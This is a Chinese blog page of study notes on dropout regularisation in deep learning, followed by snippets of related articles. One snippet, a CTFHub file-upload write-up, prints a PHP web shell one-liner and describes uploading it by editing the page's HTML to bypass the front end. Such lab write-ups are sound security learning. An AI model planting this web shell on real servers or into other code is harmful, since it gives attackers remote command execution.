[动手学习深度学习]13.丢弃法 Dropout

devtools/2025/3/13 21:07:13/

权重衰退是常见处理过拟合的方法
丢弃法比权重衰退效果要好

动机

  • 一个好的模型 需要第输入数据的扰动具有鲁棒性
    • 使用有噪音的数据等价于Tikhonov正则
    • 丢弃法:在层之间加入噪音

(所以丢弃法其实是一个正则)

无偏差的加入噪音

  • 对x加入噪音得到x’,我们希望
    E [ x ′ ] = x E[x'] = x E[x]=x
  • 丢弃法对每个元素进行如下扰动

使用

通常将丢弃法作用在隐藏全连接层的输出上
在这里插入图片描述
对隐藏层的每一个神经元做dropout,使每一个都有p概率变为0
即去掉一些权重(每次可能去掉的不一样)

在训练中使用

推理中的丢弃法

  • 正则项只在训练中使用:他们影响模型参数的更新
  • 在推理过程中,dropout直接返回输入
    h=dropout(h)
    
    这样也能保证确定性的输出
    每次随机的采样一些子神经网络

总结

  • 丢弃法将一些输出项随机置0来控制模型复杂度
  • 常作用在多层感知机的隐藏层输出上
  • 丢弃概率使控制模型复杂度的超参数

http://www.ppmy.cn/devtools/166851.html

相关文章

重新认识OpenCV:C++视角下的历史演进、功能特性以及OpenCV 4.11新特性

(基于2025年最新技术动态,面向工业级C开发者) 一、OpenCV的历史迭代与技术定位 自1999年英特尔实验室诞生以来(记住这个人-加里 布拉德斯基,是他怀揣着美好愿景启动了这个项目),OpenCV已成长…

leetcode日记(92)从前序与中序遍历序列构造二叉树

想了很久很久,其实思路很简单,应该是在数据结构上讲过的方法。 意思是前序遍历中,正中间一定是第一位,而中序遍历,正中间在中间位置,将左右节点分开。 有了这个思路就好做了。 每次取前序遍历的下一位&a…

Pygame实现射击鸭子游戏3-1

基于pygame的打鸭子游戏如图1所示。 图1 打鸭子游戏 从图1中可以看出,玩家通过鼠标控制瞄准镜的移动,点击鼠标左键射击鸭子。而鸭子则从屏幕左边向右边游动,当游到屏幕右侧边界后,重新回到屏幕左侧继续游动。 游戏需要创建两个类…

【每日学点HarmonyOS Next知识】类型判断、刘海高度、隐私弹窗、滑动下一页效果、清楚缓存

1、HarmonyOS instanceof判断错误? ArkTS部分支持instanceof,可参考文档:https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/typescript-to-arkts-migration-guide-V5 instanceof运算符在传递的过程中可能会发生以下情况&…

CTFHub-上传文件

打开网址 新建一个文档&#xff0c;在其中写下面的内容&#xff0c;将名字该为1.php <?php eval($_POST[cmd]);?> 将1.php提交上去&#xff0c;发现没反应 按f12查看后发现没有提交的代码&#xff0c;右键编辑&#xff0c;自己写一个 <input type"submit"…

Python的顺序结构和循环结构

文章目录 一、条件语句&#xff08;1&#xff09;条件语句的定义&#xff08;2&#xff09;条件语句的语法&#xff08;a&#xff09;单分支 if&#xff08;b&#xff09;双分支 if-else&#xff08;c&#xff09;多分支 if-elif-elif-...-else &#xff08;3&#xff09;注意事…

蓝桥杯——又是二分

题目 答案 #include <bits/stdc.h>using namespace std;const int N 50010; int L,n,M; int a[N];bool check(int x) {int i 0,now 0;int cnt 0;//搬走石头的数目while(i<n1){i;if(a[i]-a[now]>x) nowi;else {cnt;}}if(cnt < M) return true;else return …

vue原理面试题

以下是一些关于Vue原理的面试题: 一、虚拟DOM与响应式系统 Vue中的虚拟DOM是如何工作的? 答案: 当Vue组件的数据发生变化时,Vue首先会在虚拟DOM中构建一个新的虚拟DOM树来表示更新后的组件结构。然后,Vue会将新的虚拟DOM树与旧的虚拟DOM树进行比较(这个过程称为Diff算法…